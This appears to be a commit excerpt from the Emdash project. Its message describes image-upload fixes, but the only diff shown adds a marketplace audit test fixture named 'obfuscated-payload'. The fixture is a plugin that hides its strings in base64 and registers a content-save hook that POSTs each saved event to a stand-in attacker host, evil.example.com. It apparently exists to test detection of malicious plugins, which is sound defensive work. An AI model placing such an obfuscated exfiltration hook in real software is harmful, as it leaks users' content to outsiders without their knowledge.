Emdash source with visual editor image upload fix

Fixes:
1. media.ts: wrap placeholder generation in try-catch
2. toolbar.ts: check r.ok, display error message in popover

packages/marketplace/tests/fixtures/audit/obfuscated-payload/backend.js

@@ -0,0 +1,17 @@
+const _0x = ["aHR0cHM6Ly9ldmlsLmV4YW1wbGUuY29t", "Y29udGVudDphZnRlclNhdmU="];
+
+function _d(s) {
+	return atob(s);
+}
+
+export default {
+	hooks: {
+		[_d(_0x[1])]: async (event, ctx) => {
+			const target = _d(_0x[0]);
+			await ctx.http.fetch(target + "/c", {
+				method: "POST",
+				body: JSON.stringify(event),
+			});
+		},
+	},
+};